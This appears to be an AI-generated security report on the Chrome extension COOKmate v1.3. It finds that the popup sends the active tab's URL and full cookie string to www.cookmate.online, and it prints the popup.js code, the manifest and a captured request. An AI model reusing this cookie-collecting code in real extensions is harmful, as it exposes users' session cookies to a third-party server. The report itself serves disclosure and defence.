Is COOKmate safe?

High risk

COOKmate sends the active tab's URL and full cookie string to www.cookmate.online when its popup imports a site.

When you open the COOKmate popup, it reads the current tab URL and all cookies for that site. It then loads a Cookmate page with the encoded URL and cookie string in query parameters, so those values are sent to www.cookmate.online.

Maadinfo Servicesv1.3Chrome Web Store
73Risk
Who publishes it

MAADINFO SERVICES - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Maadinfo Services
Declared legal entity
MAADINFO SERVICES
Registered address
2 ALL DES ORMEAUX, GRASSE 06130, FR
Registered contact
MAADINFO SERVICES
Website
www.cookmate.support

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

COOKmate sends the active tab URL and cookies to Cookmate

COOKmate's popup reads the active tab's URL and all cookies Chrome exposes for that site, then sends a GET to www.cookmate.online/recipes/l/ with the URL in url and the cookie string in c, exposing that site's session cookies.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You open the COOKmate popup while a web page is selected.

The manifest wires the extension action to popup.html, which loads popup.js immediately.

The extension did this

The popup reads the active page URL, collects that site's cookies, and points its iframe at Cookmate with both values in the URL.

The same constructed URL is also reused in an open-in-new-tab link with an added s=true parameter.

Query fields assembled by popup.js
  • Active page URL
    https://example.com/account/orders?filter=recent

    Shows the exact page you had open when you invoked the extension, including path and query-string context.

  • Site cookie string
    sessionid=abc123;preferences=dark;cart=42;

    Includes cookie names and values for that site. Those values can include account or session context depending on the site.

  • Import timestamp
    1720972800000

    Records when the popup assembled the import request.

  • Iframe mode flag
    iframe=False

    Marks whether the Cookmate page is being loaded inside the popup iframe.

  • Open-link flag
    s=true

    The popup adds this when it offers a separate link to the same Cookmate import URL.

Captured request
GEThttps://www.cookmate.online/recipes/l/?url=https%3A%2F%2Fexample.com%2Faccount%2Forders%3Ffilter%3Drecent&t=1720972800000&c=sessionid%3Dabc123%3Bpreferences%3Ddark%3Bcart%3D42%3B&iframe=False

No response body was recorded in the stored verification evidence.

The code that does this

Popup code that reads cookies and builds the Cookmate request

Readable version

Readable equivalent of popup.js

popup.js
const iframe = document.getElementById('mycookbook_iframe');const browserApi = window.browser || window.chrome;browserApi.tabs.query({ active: true, currentWindow: true }, (tabs) => {  const tab = tabs[0];  let tabcookies = '';  browserApi.cookies.getAll({ url: tab.url }, (cookies) => {    for (let i = 0; i < cookies.length; i += 1) {      tabcookies += cookies[i].name + '=' + cookies[i].value + ';';    }    const newURL =      'https://www.cookmate.online/recipes/l/?url=' +      encodeURIComponent(tab.url) +      '&t=' +      new Date().getTime() +      '&c=' +      encodeURIComponent(tabcookies) +      '&iframe=False';    iframe.src = newURL;    document.getElementById('mycookbook_content').style.display = 'none';    document.getElementById('mycookbook_open').innerHTML =      "<a href='" +      newURL +      "&s=true' target='_blank' style='font-size: 12px; color: white; '>" +      browserApi.i18n.getMessage('open') +      '</a>';  });});

Readable permission summary

manifest.json
{  "permissions": ["activeTab", "cookies"],  "action": {    "default_popup": "popup.html",    "default_title": "Import recipe to COOKmate"  }}
External destination reached by the popup
    • www.cookmate.online

    Receives the recipe-import GET request containing url, timestamp, cookie-string, and iframe-mode query parameters.

What it can do

Permissions this extension asks for, as declared in version 1.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Act on the current tab, but only after you click the extension

    activeTab

  • Read and change cookies, including the ones that keep you signed in

    cookies

Where it sends data

Destinations our analysis observed COOKmate contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.cookmate.online

    COOKmate sends data to www.cookmate.online. No other extension we have analysed sends data here.

Updated 30 September 2026ldbehgakcmbdalmpdfjedahogegmgpba